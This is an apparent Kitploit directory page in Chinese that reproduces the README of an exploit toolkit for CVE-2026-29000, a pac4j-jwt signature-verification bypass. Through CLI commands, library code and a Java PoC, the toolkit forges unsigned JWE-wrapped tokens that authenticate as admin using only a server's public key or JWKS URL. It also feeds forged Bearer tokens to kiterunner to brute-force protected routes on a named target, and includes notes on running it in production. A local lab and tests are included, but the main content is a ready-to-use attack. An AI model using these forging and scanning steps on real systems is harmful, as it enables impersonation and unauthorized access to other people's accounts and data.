Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29000 — 伪造 JWE 包装的未签名 JWT,以绕过 pac4j-jwt 签名验证(CVE-2026-29000)并以任意用户身份进行认证;包含 Python CLI、库、Java PoC 及 kiterunner 路由扫描。 | Kitploit
工具/GitHubGitHub/kernelzeroday/cve-2026-29000
身份验证与授权侦察Payload生成漏洞分析漏洞利用脚本与自动化Web应用程序漏洞利用渗透测试
GitHubkernelzeroday/cve-2026-29000

CVE-2026-29000

伪造 JWE 包装的未签名 JWT,以绕过 pac4j-jwt 签名验证(CVE-2026-29000)并以任意用户身份进行认证;包含 Python CLI、库、Java PoC 及 kiterunner 路由扫描。

查看仓库
935个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-29000:pac4j-jwt JwtAuthenticator 身份验证绕过

完整构建:writeup、Java 进程内 PoC、Python 令牌伪造 CLI 和库、测试。

摘要

  • CVE: CVE-2026-29000(CVSS 10,CWE-347)
  • 受影响版本: 使用 JWE + 签名配置时的 pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3
  • 问题: JWE 包装的 PlainJWT(未签名)绕过签名验证;仅拥有服务器 RSA 公钥的攻击者即可伪造令牌并以任意用户身份进行身份验证。

有关详细信息和 PoC 要求,请参阅 WRITEUP.md。

布局

路径描述
WRITEUP.mdCVE 摘要、根本原因、受影响版本、PoC 要求、参考资料
RECON.md要放入的内容(声明发现、应用特定声明)以及提交位置(请求头、Cookie、查找受保护端点)
OPERATIONALIZATION.md生产环境运行所需内容: 打包、配置、安全性、自动化、可观测性、维护
scripts/kr_scan.py伪造令牌并使用 Authorization: Bearer 运行 kiterunner(~/bin/kr)以暴力破解/扫描受保护的 API 路由
examples/示例脚本:forge_and_curl.sh、forge_and_kr.sh
lab/Flask 实验应用(JWE 端点 + JWKS),用于测试令牌伪造
poc/Java Maven PoC(针对 pac4j-jwt 6.0.3 的进程内绕过)
token_forge/Python 包:从 PEM 或 JWKS URL 伪造 JWE 包装的 PlainJWT
tests/针对声明、伪造、密钥、CLI 的 Pytest 测试
requirements.txtPython 依赖(jwcrypto、requests、pytest)

Python(令牌伪造)

设置

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate   # 或 Windows 上使用 .venv\Scripts\activate
pip install -r requirements.txt

运行 CLI

root@kitploit:~
# 从 PEM 生成(使用:openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"

# 从 JWKS URL
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin

# 额外声明(用于应用特定发现):--claim [email protected] --claim key=value
# 选项:--exp-sec、--jwks-kid、--log-file、--enable-file-logging、--verbose

输出:单行(伪造的 JWT);用作 Authorization: Bearer <token>。

Kiterunner(kr)自动化

需要 ~/bin/kr 中的 kr。伪造令牌并使用 Bearer 身份验证运行 kr brute(或 kr scan)以发现受保护的路由:

root@kitploit:~
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run

有关选项(--subject、--roles、--claim、-A、--scan 等),请参阅 RECON.md 第 4 节。

库

root@kitploit:~
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url

with open("pub.pem", "rb") as f:
    key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)

测试

root@kitploit:~
pytest -vv --tb=short --maxfail=1
# 或将警告视为错误:
pytest -vv -W error -W always --tb=short --maxfail=1

Java PoC

构建并运行(需要 Java 11+ 和 Maven)

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# 或仅生成令牌(不进行进程内验证):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# 使用自定义 subject/roles:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"

预期输出:进程内运行时显示 [BYPASS] Authenticated as: admin#override 和角色。

测试和覆盖率

root@kitploit:~
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html  # 然后打开 htmlcov/index.html

Docker

root@kitploit:~
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing

实验环境(易受攻击的目标)

接受 JWE 并返回声明的 Flask 应用(用于测试伪造 + curl/kr)。

root@kitploit:~
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me

请参阅 lab/README.md。

参考资料

  • CodeAnt AI – 完整 PoC 和分析
  • pac4j 安全公告
  • OpenCVE CVE-2026-29000
下载工具